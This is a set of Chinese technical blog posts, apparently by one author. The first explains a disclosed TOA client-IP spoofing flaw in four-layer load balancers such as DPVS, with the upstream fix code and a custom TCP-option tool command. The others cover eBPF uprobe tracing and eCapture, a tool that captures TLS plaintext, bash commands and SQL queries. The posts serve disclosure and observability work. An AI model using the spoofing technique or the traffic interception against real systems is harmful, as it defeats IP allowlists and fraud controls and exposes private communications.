详解:L4LB四层负载均衡IP伪造漏洞 前言 去年11月,在国家信息安全漏洞共享平台CNVD、国家信息安全漏洞库CNNVD报告过TOA的IP伪造漏洞,到今天快过去1年了,各受影响方也基本修复完毕,今天聊一下细节吧。 回顾 当初演示时,使用了百度搜索里的IP查询接口。 演示视频中,通过muou程序,参数中指定任意IP,即可使得当前电脑的出口IP为指定的任意IP。 炒冷饭? 有同学猜测这是HTTP的Header追加伪造?有同学说这是装神弄鬼,炒冷饭?有同学说自己早发现了公司内部不重视,不修复。 那么,这漏洞到底是什么?? 网上有聪明的同学,有一定IP伪造基本知识,结合我在推特上的历史内容,很快重现了演示视频里的IP伪造,即TOA(TCP Option Address)伪造IP,那么仅仅如此吗? 漏洞描述: 显然不是。不过,对了一点。 大型IDC内部客户端IP如何透传? L4LB四层负载均衡后业务需要使用用户原始IP,这是常见的功能需求。在大型IDC内部,一般会在RS节点上部署TOA(TCP Option Address)内核模块,用来获取TCP Option中的原始IP,也就是下图中TCP Segment部分。 漏洞如何出现? 开源的4层负载均衡,在FNAT模式下,未能很好的清除TCP Option中恶意构造的TOA信息,将恶意数据透传至RS服务器,导致业务服务器取到伪造IP。 危害是什么? 业务受损 IP在很多Web防火墙、反爬虫系统、防刷系统(薅羊毛)是用于做策略控制的基础强依赖,IP的伪造将导致这些系统完全失效,造成极大的风险损失。 信息安全风险 在很多后台系统中,IP同样被用于ACL的网络边界数据,IP的伪造,也依旧成成为可以突破的入口,比如对特定IP加白,直接放行等等。 我是如何发现IP伪造漏洞的? 这个漏洞原理确实如阿里的安全专家pyn3rd在多年前所写,直接在TCP Option里追加即可,网上聪明的同学也猜到了。 不过,笔者并不是安全研究相关,平时从事的工作也是安全产品的研发,没有看过那篇PPT。发现这漏洞时,也是意外。在研发一款零信任四层负载均衡产品时,为了实现IP透传使用了相关技术。扩展一下,便想到了这里可能存在安全问题,顺便验证了各大厂的IP伪造可能性。 国内友商情况 国内大厂,不管是腾讯、华为、阿里、小米、阿里、百度等等,几乎都是使用了FNAT TOA的技术向后透传IP,很多技术方案都源于早期的开源项目LVS(Linux Virtual Server) ,各大厂按照各自的需求逐步迭代,有些机制上的安全问题,也被保留下来了。当然也有部分是IOA(IP Option Address),为了兼容UDP协议的IP透传。 相似之处 区别无非是opcode是28,是200还是254 还是 253,亦或是其他。也无非是opsize 是8 还是精简的7。 也无非是读取TOA信息的时机,是1SYN还是3SYN-ACK ,亦或是为了兼容而都去读取。整体来看,大同小异。 差异 而最大的差异在于L4LB处理来自客户端TCP Option 既有信息。 已有TOA信息清理还是不清理? 相同opcode如何处理? LB串联时,如何保留客户端(来自LB)的TOA信息? 原包内容中的TCP Option长度已经满了,怎么办? 而这些情况只是L4LB的难题,那么对于RS服务器上的TOA 内核模块又会有哪些问题呢? 读到TOA 信息后,要继续读,还是终止读取了? 继续读的话,又读到了TOA,那么选择哪个? 都读完了,却没有读到TOA信息怎么办? 带着这些问题,我们回头看下本次漏洞的各厂商表现。 入门级漏洞 演示视频中的漏洞,是百度引入的外部IP查询API,这个API后端L4LB也是使用了TOA技术向后透传IP,因为LB跟后面RS服务器配合问题,造成了客户端可伪造IP的问题。 此漏洞的发生有以下几个条件 L4LB产品使用FNAT模式传递客户端IP L4LB未清除客户端TCP协议中Option信息,自己也追加了一个TOA,之后就直接向后传递 服务器主机启用TOA模块获取IP,且解析Option时,读到了伪造的IP,没有读到L4LB追加的IP TOA加在前面还是后面? L4LB 把TOA 放在TCP Option的最前面,还是最后面呢?这里就涉及到RS上的TOA内核模块读取机制了,这里也是很容易出漏洞的地方。 当然,也不排除是L4LB读取到TCP Option中已经有了TOA信息,便不在追加。(这在L4LB串联的场景中,是十分常见的做法)。 显然,这种实现方式,大概率是L4LB 这边问题很大,利用成本很低。 进阶级漏洞 国内大部分厂商都不存在这么简单的漏洞,那么意味着他们都没问题吗? 然而并不是。 L4LB的难题:TCP Option 满了 回到前面的问题,L4LB收到的客户端TCP Option 的长度已经超过最大长度40字节了,那么L4LB怎么处理? 没有空间去追加客户端IP了,还要读取吗? 不读 很多L4LB丢弃本次真实客户端IP 的诉求,直接透传给下游了。 问题就出现在这里,那么,只要客户端恶意填满TCP Option ,不留给L4LB追加的机会,即可伪造任意IP给下游。 而这就是国内大厂出现这个安全漏洞的地方。 注意,我这里用了下游,并没有说是RS,很多时候是L4LB串联,那么它的下游还是L4LB了。 读取 如果L4LB发现已经满了,无法追加了,那么他要继续读取,而且要要清理、删除,才能规避这类问题。 DPVS 的漏洞 LB侧(DPVS): dpvs中,在src/ipvs/ip_vs_proto_tcp.c文件的tcp_in_add_toa函数中,387行附近,判断当前TCP包中TCP option是否有足够空间来追加TOA结构体。若不够,则直接返回,够则追加。 在 TCP OPTION规范中,长度为40字节。在DPVS 的TOA定义长度为8字节(ipv6为20字节)。 RS侧(TOA): 内核模块TOA hook了获取IP的函数,来获取客户端IP,在toa.c里最终是调用get_toa_data来获取。 以IPv4为例,其中378行开始,读取到TCP Option中数据,匹配TOA的特征后,即返回。IPv6也是类似问题,不再赘述。 变态级思路 读取TCP Option ,清空TOA信息,就高枕无忧了吗?然而并不是,那思路是什么? 如果黑客构造了一个完全合规的TCP Option ,并且长度超过40字节,里面没有恶意的TOA IP,也不留给L4LB留下填充客户端IP的机会,那么,后端的RS 服务器,会拿到什么IP? 还能造成安全风险吗? 客户端拿到的是L4LB的内网IP,难道把这些内网IP拉入黑名单吗?你确定敢这么干? 内网IP 再说了,内网IP一般会出现在你的各种风控策略、ACL策略中吗? 思路这么多,那么到底该如何修复呢? TOA 问题修复 通过前面的原理讲解,聪明的你一定知道要如何修复这个安全漏洞了。 也就是说整个TCP Option都要逐一字节读取、清理,防止有多个TOA的信息在里面。然而,L4LB这种产品,QPS都是十万、几十万的性能挑战,突然每个网络包都要多了这么多内存复制的动作,性能下降是最大的挑战,不过,这就是研发同学去考虑的问题了。 DPVS 修复方案 我在像DPVS反馈这个BUG时,提了一个PR Remove toa field, fix security vulnerability. #925,将所有恶意TOA字段都使用TCP_OPT_NOP 设置为空。然而这样,面对TCP Option被填满的清空,是丢失了客户端原始IP的。 虽然性能上影响不大,但依旧有一些安全风险。 DPVS的专家ywc689 给了一个更专业的、更安全的修复方案ipvs: toa enhancements #928,只允许了以下几个opcode的Option,以及对应长度的opsize,并且选择了特别好的重置时机,在应对几十万QPS的网络包处理时,几乎没有新增性能损耗问题。 (了解相应opcode含义,请阅读TCP Option Kind Numbers) // ... const uint8_t opts_maxlen[64] = { [2] = 4, [3] = 3, [4] = 2, [8] = 10, [30] = 40, [34] = 18 }; // ... if (tcph->syn) opts_protected = (1ULL << 2) | (1ULL << 3) | (1ULL << 4) /* MSS, WS, SACKP */ | (1ULL << 8) | (1ULL << 30) | (1ULL << 34); /* TS, MPTCP, TFO */ else opts_protected = (1ULL << 8); /* TS, drop SACK, MPTCP DSS/REMOVE_ADDR */ while (fast < ptr) { opcode = *fast; opsize = *(fast + 1); if (opcode < 64 && ((1ULL << opcode) & opts_protected) && (opsize <= opts_maxlen[opcode])) { for (i = 0; i < opsize; i++) *slow++ = *fast++; opts_protected ^= (1ULL << opcode); } else { fast += opsize; pruned += opsize; if (pruned >= reqlen) { while (fast < ptr) *slow++ = *fast++; break; } } } 虽然,这里opcode 为30(Multipath TCP (MPTCP))的Option存在,但也仅允许SYN包时出现,如果RS的TOA内核模块是读取ACK内的TOA,那么这里是不受影响的。 但是,如果你的TOA内核模块读取的是首个SYN包的TOA,那么变态级思路的问题依旧在 问题验证 笔者实现了一个TCP Option自定义的工具,叫木偶(muou),你可以通过sudo ./muou t -b 020405b4命令来实现自定义TCP Option,这里演示了一个修改Maximum segment size的Option,MSS值为:1460。 按照你对这个漏洞的理解,假如这些漏洞都还存在,你需要实现一个通杀各大厂商的payload,那么该如何构造呢? 笔者的技术方案是eBPF sockops 操作TCP Option,此工具有一定危害,这里做了一定限制,本次只开源了二进制程序,防止定制成为攻击工具。 具体的技术方案,未来分享。 国外的现状 国外的L4LB产品资料相对比较少,现在的产品都是基于eBPF XDP做的,比如Isovalent公司的Cilium、Facebook公司的Katran、CloudFlare公司的Unimog等产品。 相对来说,不需要使用TCP Option/IP Option等方案,直接在L4LB侧转发给相应的RS服务器。 这里插一句,笔者没有吹捧eBPF,国外的现状确实如此,大多使用eBPF + XDP 实现的L4LB。 关于L4LB 四层负载均衡 更多关于,请阅读SRE技术专家laixintao的四层负载均衡漫谈 系列文章。 IOA 安全吗? 本文重点讨论了 基于TCP Option传递的客户端IP信息方案,从L4LB负载均衡到RS的TOA内核模块,不管是代码实现,还是协同机制,都存在着细微的差异,而这些细节恰恰是安全问题所在。 那么,基于IP Option的客户端IP透传方案国内哪些大厂在用?他们安全吗? 2024-08-17 0 0
如何使用eBPF观测用户空间应用程序 译者注 近来这一年,很多刚接触eBPF的朋友会问我,eCapture的原理是什么,为什么区分OpenSSL、Gnutls、Nspr等类库实现?为什么要设定OpenSSL类库地址?为什么C、JAVA、Go实现的https通讯程序,在eCapture上实现却不一样。对于这些问题,我觉得核心问题是大家对「eBPF实现用户空间的行为跟踪」原理不了解,一直想写一篇文章介绍这个知识点,但总是太忙,没时间。这几天看到外网一篇简单的介绍,文章名是How to Instrument UserLand Apps with eBPF,我在这里翻译、调整一下,分享给大家。 前言 eBPF彻底改变了Linux内核中的可观察性。在之前的博客文章中,我介绍了eBPF生态系统的基本构建,揭开了XDP的面纱,并展示了它与eBPF基础设施如何紧密合作,以便在网络堆栈中引入快速处理的数据路径。 然而,eBPF并不是kernel-space内核空间跟踪所独有的。如果我们能够检测在生产环境中运行的应用程序,同时享受eBPF驱动的跟踪的好处,那不是很赞吗? 这就是eBPF uprobe的价值所在。可以直白地把它们看成附加到用户空间的跟踪点,跟内核符号的kprobe类似。 许多语言的运行时、数据库系统以及其他软件堆栈都包含可供BCC工具使用的钩子。具体地说,ustat工具会收集有价值的事件,例如垃圾回收事件、对象创建统计信息、方法调用等等。 但是“,很多官方语言运行时版本,都不附带对DTrace支持,比如Node.js和Python等,这意味着您必须从源代码构建时,就设定好参数。也就是说,编译python这个解释语言时,就需要在参数中指定。将--with -dtrace标志传递给编译器。当然,这不是必要条件。对于ELF文件,只要符号表可用,就可以对它Section段中的任何符号进行应用动态跟踪。对Go或Rust stdlib的函数调用是通过这种方式完成的。 也就是说,对于eCapture来说,哪怕是TLS类库是静态编译的或者没有符号表的,也是可以通过自行确定Offset的方式,来实现对指定偏移地址进行动态跟踪。在eHIDS-Agent也有过一个例子,user/probe_ujava_rasp.go的92行: /* openjdk version "1.8.0_292" OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1-b10) OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode) */ //ex, err := link.OpenExecutable("/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so") // sub_19C30 == JDK_execvpe(p->mode, p->argv[0], p->argv, p->envv); // md5sum : 38590d0382d776234201996e99487110 /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so Probes: []*manager.Probe{ { Section: "uprobe/JDK_execvpe", EbpfFuncName: "java_JDK_execvpe", AttachToFuncName: "JDK_execvpe", UprobeOffset: 0x19C30, BinaryPath: "/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so", }, } 对于相应JVM的libjava.so中,符号表是少了JDK_execvpe这个函数。但是,依旧可以通过IDA pro等工具,对so文件进行静态分析,定位到JDK_execvpe的偏移地址是0x19C30,从而使用eBPF uprobe的HOOK方式完成HOOK。 其实,在eBPF的加载器类库中,不管是C的libbbpf还是Go的cilium/ebpf,都会自行读取uprobe的二进制ELF文件,自行读取符号表,进行被HOOK函数的偏移地址定位,最终依旧使用偏移地址作为HOOK参数。 用于检测应用程序的eBPF技术 有多种方法可以跟踪用户空间进程: 静态声明的USDT 动态声明USDT 使用uprobe进行动态跟踪 静态声明USDT USDT(Userland Statically Defined Tracing)体现了直接在用户代码中嵌入探针的想法。该技术的起源可以追溯到Solaris/BSD DTrace时代,包括使用DTRACE_PROBE()宏来声明策略代码位置的跟踪点。与普通符号不同,USDT钩子可以保证在代码被重构的情况下保持稳定。下图描述了在用户代码中声明USDT跟踪点,以及其在内核中执行的整个过程。 开发人员将首先通过DTRACE_PROBE和DTRACE_PROBE1宏来植入跟踪点,用来圈定感兴趣的代码块。这两个宏都接受几个强制性参数,例如provider/probe的名称,然后是你想从追踪点了解的任何值。编译器会在目标二进制文件的ELF部分中压制USDT追踪点。同时,编译器和追踪工具之间有个契约规定,也就是USDT的元数据所在的.note.stapstd段必须存在。 USDT跟踪工具会对ELF部分进行自检,并在跟踪点得位置放置一个断点,该断点将转换为int 3中断。每当在跟踪点的标记处执行控制流时,都会触发中断处理程序,并在内核中调用与uprobe关联的程序来处理事件并将它们发送到用户空间,执行相应的数据聚合等处理。 动态声明USDT 由于USDT被推入静态生成的ELF部分,对于在解释型语言或基于JIT的语言上运行的软件来说,它违背了声明USDT的目的。幸运的是,可以通过libstapsdt在运行时定义跟踪点。它生成一个带有 USDT 信息的小型共享对象,该对象映射到进程的地址空间,因此跟踪工具可以附加到期望的目标跟踪点。libstapsdt的绑定在大部分语言中都有。可以阅读这个示例,来了解如何在Node.js中安装 USDT 探针。 使用 uprobes 进行动态跟踪 这种类型的跟踪机制除了目标程序的符号表是可访问以外,不需要何额外功能。这是最通用、最强大的插桩方法,因为它允许在任意指令上注入断点,甚至无需重新启动目标进程。 跟踪示例 在简单的理论介绍之后,让我们看看一些具体的例子,看看如何针对不同的语言的应用程序进行插桩。 C语言程序 Redis 是用 C 语言实现的热门KV对数据结构服务器。查看一下 Redis 符号表会发现大量函数可以通过 uprobes 捕获。 $ objdump -tT /usr/bin/redis-server … 000000000004c160 g DF .text 00000000000000cc Base addReplyDouble 0000000000090940 g DF .text 00000000000000b0 Base sha1hex 00000000000586e0 g DF .text 000000000000007c Base replicationSetMaster 00000000001b39e0 g DO .data 0000000000000030 Base dbDictType 00000000000ace20 g DF .text 0000000000000030 Base RM_DictGetC 0000000000041bc0 g DF .text 0000000000000073 Base sdsull2str 00000000000bba00 g DF .text 0000000000000871 Base raxSeek 00000000000ac8c0 g DF .text 000000000000000c Base RM_ThreadSafeContextUnlock 00000000000e3900 g DF .text 0000000000000059 Base mp_encode_lua_string 00000000001cef60 g DO .bss 0000000000000438 Base rdbstate 0000000000047110 g DF .text 00000000000000b5 Base zipSaveInteger 000000000009f5a0 g DF .text 0000000000000055 Base addReplyDictOfRedisInstances 0000000000069200 g DF .text 000000000000004a Base zzlDelete 0000000000041e90 g DF .text 00000000000008ba Base sdscatfmt 000000000009ac40 g DF .text 000000000000003a Base sentinelLinkEstablishedCallback 00000000000619d0 g DF .text 0000000000000045 Base psetexCommand 00000000000d92f0 g DF .text 00000000000000fc Base luaL_argerror 00000000000bc360 g DF .text 0000000000000328 Base raxRandomWalk 0000000000096a00 g DF .text 00000000000000c3 Base rioInitWithFdset 000000000003d160 g DF .text 0000000000000882 Base serverCron 0000000000032907 g DF .text 0000000000000000 Base je_prof_thread_name_set 0000000000043960 g DF .text 0000000000000031 Base zfree 00000000000a2a40 g DF .text 00000000000001ab Base sentinelFailoverDetectEnd 00000000001b8500 g DO .data 0000000000000028 Base je_percpu_arena_mode_names 00000000000b5f90 g DF .text 0000000000000018 Base geohashEstimateStepsByRadius 00000000000d95e0 g DF .text 0000000000000039 Base luaL_checkany 0000000000048850 g DF .text 00000000000002d4 Base createClient ... Redis 内部使用了一个有趣的createStringObject函数来分配robj结构的字符串。Redis 命令是以createStringObject调用名义生成的。我们可以通过挂钩这个函数来监视发送到 Redis 服务器的任何命令。为此,我将使用BCC工具箱中的跟踪工具来演示。 $ /usr/share/bcc/tools/trace '/usr/bin/redis-server:createStringObject "%s" arg1' PID TID COMM FUNC - 8984 8984 redis-server createStringObject b'COMMANDrn' 8984 8984 redis-server createStringObject b'setrn$4rnoctirn$4rnfestrn' 8984 8984 redis-server createStringObject b'octirn$4rnfestrn' 8984 8984 redis-server createStringObject b'festrn' 8984 8984 redis-server createStringObject b'getrn$4rnoctirn' 8984 8984 redis-server createStringObject b'octirn' 以上是在Redis CLI客户端执行set octi fest和get octi所产生的输出。 JAVA语言程序 现代的JVM版本带有对USDT的内置支持。所有的探针都是以libjvm共享对象的名义带来的。我们可以在ELF部分挖掘出可用的追踪点。 $ readelf -n /usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so ... stapsdt 0x00000037 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__initmark__end Location: 0x0000000000e2420c, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x00000037 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__remark__begin Location: 0x0000000000e24334, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x00000035 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__remark__end Location: 0x0000000000e24418, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x0000002f NT_STAPSDT (SystemTap probe descriptors) Provider: hotspot Name: gc__begin Location: 0x0000000000e2b262, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: 1@$1 stapsdt 0x00000029 NT_STAPSDT (SystemTap probe descriptors) Provider: hotspot Name: gc__end Location: 0x0000000000e2b31a, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: ... 要捕获所有class load类加载事件,我们可以使用以下命令: $ /usr/share/bcc/tools/trace 'u:/usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so:class__loaded "%s", arg1' 同样,我们可以观察线程创建事件: $ /usr/share/bcc/tools/trace 'u:/usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so:thread__start "%s", arg1' 结果输出 PID TID COMM FUNC 27390 27398 java thread__start b'Reference Handler' 27390 27399 java thread__start b'Finalizer' 27390 27400 java thread__start b'Signal Dispatcher' 27390 27401 java thread__start b'C2 CompilerThread0' 27390 27402 java thread__start b'C1 CompilerThread0' 27390 27403 java thread__start b'Sweeper thread' 27390 27404 java thread__start b'Service Thread' 当扩展探针启用时(即-XX:+ExtendedDTraceProbes属性),uflow 工具能够实时跟踪并绘制所有方法的执行过程。 $ /usr/share/bcc/tools/lib/uflow -l java 27965 Tracing method calls in java process 27965... Ctrl-C to quit. CPU PID TID TIME(us) METHOD 5 27965 27991 0.736 <- jdk/internal/misc/Unsafe.park 5 27965 27991 0.736 -> java/util/concurrent/locks/LockSupport.setBlocker' 5 27965 27991 0.736 -> jdk/internal/misc/Unsafe.putObject 5 27965 27991 0.736 <- jdk/internal/misc/Unsafe.putObject 5 27965 27991 0.736 <- java/util/concurrent/locks/LockSupport.setBlocker' 5 27965 27991 0.736 <- java/util/concurrent/locks/LockSupport.parkNanos 5 27965 27991 0.736 -> java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject.checkInterruptWhileWaiting 5 27965 27991 0.737 -> java/lang/Thread.interrupted 5 27965 27991 0.737 -> java/lang/Thread.isInterrupted 5 27965 27991 0.737 <- java/lang/Thread.isInterrupted 5 27965 27991 0.737 <- java/lang/Thread.interrupted 5 27965 27991 0.737 <- java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject.checkInterruptWhileWaiting 5 27965 27991 0.737 -> java/lang/System.nanoTime 5 27965 27991 0.737 <- java/lang/System.nanoTime 但是,扩展探针所产生的系统开销,是特别特别大的,所以,它们不适合生产环境,仅用于调试。 Go语言程序 我将用Go语言中的一个例子来完成对追踪技术的演示。 由于Go语言是一种原生编译语言,因此尝试使用trace工具在目标符号上附加uprobe程序。 您可以使用以下简单的代码片段亲自尝试: package main import "fmt" func main() { fmt.Println("Hi") } $ go build -o hi build.go $/usr/share/bcc/tools/trace '/tmp/hi:fmt.Println "%s" arg1' PID TID COMM FUNC - 31545 31545 hi fmt.Println b'xd6x8dK' 我们在参数列中得到不是我们期望的“Hi”字符串,而是一些随机的垃圾数据。这是由于trace不能处理Println变量参数造成的,但也是有关ABI调用约定的错误假设。 与C/C++不同的是,Go语言在堆栈上传递参数,而C/C++更喜欢在普通的寄存器中传递参数。 由于我们不能依靠trace来演示如何插桩Go代码,我将构建一个简单的工具来跟踪所有由http.Get函数发出的HTTP GET请求。 你可以很容易地修改它,来捕获其他HTTP请求。但我只是用这个例子演示, 完整的源代码可以在https://github.com/sematext/uprobe-http-tracer这个repo中找到。 由于我们使用libbcc的Go绑定来完成繁重的工作,所以我不会去讨论关于uprobe attach/load过程的细节。OK,一起来看看真实的uprobe程序。 在所需的包含include之后,我们定义了负责通过偏移处理从堆栈中读取参数的宏。 #define SP_OFFSET(offset) (void *)PT_REGS_SP(ctx) + offset * 8 接下来,我们声明用于封装通过reqs map流传输的事件结构。 这个map是用BPF_PERF_OUTPUT宏定义的。 我们的程序的核心是__uprobe_http_get函数。 每当调用http.Get时,在内核空间中触发这个函数。 我们知道http.Get有一个参数,它表示HTTP请求被发送到的URL。 C和Go语言的另一个区别是它们在内存中如何布局字符串。 C语言的字符串是以 null 结尾的序列,但 Go 将字符串视为包含指向内存缓冲区的指针和字符串长度的两个字值。这说明我们需要对bpf_probe_read进行两次调用,一次用于读取字符串,第二次用于读取其长度。 bpf_probe_read(&url, sizeof(url), SP_OFFSET(1)); bpf_probe_read(&req.len, sizeof(req.len), SP_OFFSET(2)); 触发之后,在用户空间中,URL从slice切片被修剪到其相应的长度。顺便说一下,这工具demo能够通过注入uretprobe来发现每个HTTP GET请求的延迟。然而,事实证明,每次 Go 运行时决定收缩/增长堆栈时,都会产生灾难性的影响,因为uretprobe 会将堆栈上的返回地址修补到在 eBPF VM 的上下文中执行的trampoline函数。在退出uretprobe函数时,指令指针恢复到原始返回地址,这个地址可能指向一个无效地址,从而扰乱堆栈并导致进程崩溃。有一些提议来解决这个问题:Go crash with uretprobe #1320。 结论 在这篇文章中,我们介绍了用于User Space用户空间进程插桩的eBPF特性。 通过几个实际案例,我们已经展示了BCC框架在捕获可观测性信号方面的通用性。 至此,相信你对eBPF uprobe的动态插桩有了一定的了解。也可以阅读eCapture源码,更好的实战。 在golang语言的二进制程序插桩实现中,一定要考虑ABI的规范差异,不过,golang官方也在考虑调整参数传递方式,从堆栈改到寄存器,你可以查看提案:基于寄存器的 Go 调用约定 了解更多详情。 2022-10-27 0 0
eBPF网络程序新手指南 By Liz Rice 前言 机翻 本视频转载Liz Rice在昨天(7月10日)的油管直播。原来视频地址youtu.be/l5l2EckwWME[1]。 笔者使用相关工具进行语音提取、转英文字幕,再自动翻译成中文字幕。时间短,工作量大。涉及音轨准确性、字幕与时间矫正等困难,视频有很多问题,请大家理解。英语好的同学可以无视字幕。 视频介绍 eBPF被称为为“Linux的超级明星”,最近我们看到大量工具使用它来支持云原生领域的服务网格、可观察性和安全性。 这是一项令人兴奋的技术,可以直接在内核中运行自定义程序。 在本次演讲中,Liz Rice在线敲代码,演示eBPF 程序如何在内核中加载、运行,以及如何附加到各种网络事件。本视频侧重于网络示例,深入了解 eBPF 程序如何检查和修改数据包,以形成复杂和高性能网络服务。 数据包流程图 视频内容 补充阅读 告别Sidecar——使用eBPF解锁内核级服务网格 Cilium eBPF实现机制源码分析 How to drop a packet in Linux in more ways than one[2] Packet flow in Netfilter and General Networking[3] 参考资料 [1] youtu.be/l5l2EckwWME: youtu.be/l5l2EckwWME [2] How to drop a packet in Linux in more ways than one: https://codilime.com/blog/how-to-drop-a-packet-in-linux-in-more-ways-than-one/ [3] Packet flow in Netfilter and General Networking: https://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg 2022-07-11 0 0
eCapture:无需CA证书抓https网络明文通讯 eCapture介绍 eCapture是一款基于eBPF技术实现的用户态数据捕获工具。不需要CA证书,即可捕获https/tls的通讯明文。 项目在2022年3月中旬创建,一经发布,广受大家喜爱,至今不到两周已经1200多个Star。 作用 不需要CA证书,即可捕获HTTPS/TLS通信数据的明文。 在bash审计场景,可以捕获bash命令。 数据库审计场景,可以捕获mysqld/mariadDB的SQL查询。 官网 代码仓库见:https://github.com/ehids/ecapture ,也可以关注微信公众号「榫卯江湖」获取最新动态。 产品架构 eCapture系统用户态程序使用Golang语言开发,具有良好的系统兼容性,无依赖快速部署,更适合云原生场景。 内核态代码使用C编写,使用clang/llvm编译,生产bpf字节码后,采用go-bindata转化为golang语法文件,之后采用ehids/ebpfmanager类库,调用bpf syscall进行加载、HOOK、map读取。 golang编译后,无其他任何依赖即可运行,兼容linux kernel 4.18以上所有版本。 eBPF加载机制 关于eBPF详细加载机制,可到https://ebpf.io/ 查阅相关原理。 实现原理 如工作原理的图所示,在用户态的加密解密函数中下钩子。 tcpdump(libpcap)是在数据包接收到,XDP处理后,进行clone packet,进行包的复制,发送给用户态进程。二者工作的所在层不一样。 功能介绍 eCapture有三个模块 tls/ssl明文数据捕获 bash命令审计 mysqld数据库审计 第一个功能适用于基于tls/ssl解密需求的运维监控、故障排查、抽样分析场景。 第二个功能适用于安全领域的bash入侵发现场景,这里只是简单的功能,可以在此基础上增加其他功能。 第三个功能适用于数据库审计场景,尤其是做数据安全、数据防泄漏,甚至入侵检测等。同样,可以在此基础上扩充其他功能。 查看其使用说明,如下 cfc4n@vm-desktop:~/ehids/ecapture$ ./bin/ecapture NAME: ecapture - capture text SSL content without CA cert by ebpf hook. USAGE: ecapture [flags] VERSION: 0.1.5-20220325-47edbed COMMANDS: bash capture bash command help Help about any command mysqld56 capture sql queries from mysqld >5.6 . tls alias name:openssl , use to capture tls/ssl text content without CA cert. DESCRIPTION: ecapture是一款无需安装CA证书,即可抓去HTTPS、TLS等明文数据包的工具。 也可以捕获bash的命令,适用于安全审计场景。包括mysqld的数据库审计等。 仓库地址: https://github.com/ehids/ecapture OPTIONS: --debug[=false] enable debug logging -h, --help[=false] help for ecapture --hex[=false] print byte strings as hex encoded strings -p, --pid=0 if target_pid is 0 then we target all pids 其中,有四个全局参数,分别是 --debug , 用于启动调试日志 --help , 查看帮助 --hex ,按照hex模式打印字符,用与查看不可见字符 --pid ,用于针对特定进程进行数据捕获 HOOK机制 eCapture采用eBPF uprobe相关函数进行HOOK,故需要目标用户态函数信息,包含函数符号表(symbol table),函数偏移地址(offset)。 在大部分linux发行版中,使用的二进制可执行文件(ELF)都是包含符号表的;少部分发行版,会去掉ELF中的符号表。那么针对这种场景,就需要用户自行定位目标函数所在ELF/SO中的偏移地址,通过工具的参数来指定。 对于ELF文件,可以将目标类库静态编译到自身,也可以通过动态链接库的方式引用。那么对于这两种形式,eCapture根据不同场景进行自动查找。若查找不到,用户可以通过命令行参数指定。 故eCapture支持HOOK ELF,以及HOOK SO两种模式。会自动分析ELF文件,读取.dynamic和.dynsym等段信息,查找相关链接库名以及函数名、偏移地址。 查找原理如下图: tls/ssl ecapture tls命令用于启动tls/ssl模块,支持了三类tls/ssl加密类库,分别是 openssl ,动态链接库名字为libssl.so gnutls ,动态链接库名字为libgnutls.so nss/nspr ,动态链接库名字为libnspr4.so 在不同的linux发行版中,因为各种原因,会选择不同的类库。比如wget程序,在ubuntu跟centos中就会使用不同的类库。有的是openssl,有的是gnutls,甚至两个库都引入了。 具体情况,你可以使用ldd $ELF_PATH | grep -E "tls|ssl|nspr|nss"来查看一个ELF文件使用类库情况。 cfc4n@vm-desktop:~$ ldd `which wget` |grep -E "tls|ssl|nspr|nss" libssl.so.1.1 => /lib/x86_64-linux-gnu/libssl.so.1.1 (0x00007f50699f6000) 对于firefox、chrome这种进程,需要在程序启动后才能看到tls类库依赖情况,那么,你可以使用sudo pldd $PID | grep -E "tls|ssl|nspr|nss" 来查看 cfc4n@vm-desktop:~$ ps -ef|grep firefox cfc4n 6846 1432 45 17:50 ? 00:00:04 /usr/lib/firefox/firefox -new-window cfc4n@vm-desktop:~$ sudo pldd 6846 |grep -E "tls|ssl|nspr|nss" /usr/lib/firefox/libnspr4.so /usr/lib/firefox/libnssutil3.so /usr/lib/firefox/libnss3.so /usr/lib/firefox/libssl3.so /lib/x86_64-linux-gnu/libnss_files.so.2 /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2 /lib/x86_64-linux-gnu/libnss_dns.so.2 /usr/lib/firefox/libnssckbi.so eCapture的tls模块命令行参数如下,用户可以使用默认配置外,也可以根据自己环境自行指定。 OPTIONS: --curl="" curl or wget file path, use to dectet openssl.so path, default:/usr/bin/curl --firefox="" firefox file path, default: /usr/lib/firefox/firefox. --gnutls="" libgnutls.so file path, will automatically find it from curl default. -h, --help[=false] help for tls --libssl="" libssl.so file path, will automatically find it from curl default. --nspr="" libnspr44.so file path, will automatically find it from curl default. --wget="" wget file path, default: /usr/bin/wget. 同时,使用方法也比较简单,./ecapture tls --hex命令即可。 在linux上,firefox程序中,有很多通讯都使用了/usr/lib/firefox/libnspr4.so,但实际上业务请求是可以通过Socket Thread进程来发送的。可以通过这个特点来过滤,对于chrome程序,相信细心的你,也能搞定。 bash 笔者在安全部门工作,接到过bash审计需求,其实现方法无非是修改系统类库、使用内核模块等技术实现,对系统稳定性有一定风险。基于eBPF技术实现,可以避开这些问题。这里的bash命令的监控,是作为eBPF技术在安全审计场景中的一个探索。 eCapture在实现时首先查找ENV的$SHELL值,作为bash的二进制文件路径进行HOOK。对于bash加载了libreadline.so的场景,也会自动分析,进行符号表查找、offset定位,再进行HOOK。 bash模块的参数有三个,用户可以自定义bash、readlineso的路径。 OPTIONS: --bash="" $SHELL file path, eg: /bin/bash , will automatically find it from $ENV default. -h, --help[=false] help for bash --readlineso="" readline.so file path, will automatically find it from $BASH_PATH default. mysql/mariadb 与bash模块一样,也是作为数据库审计的一个探索。笔者环境为ubuntu 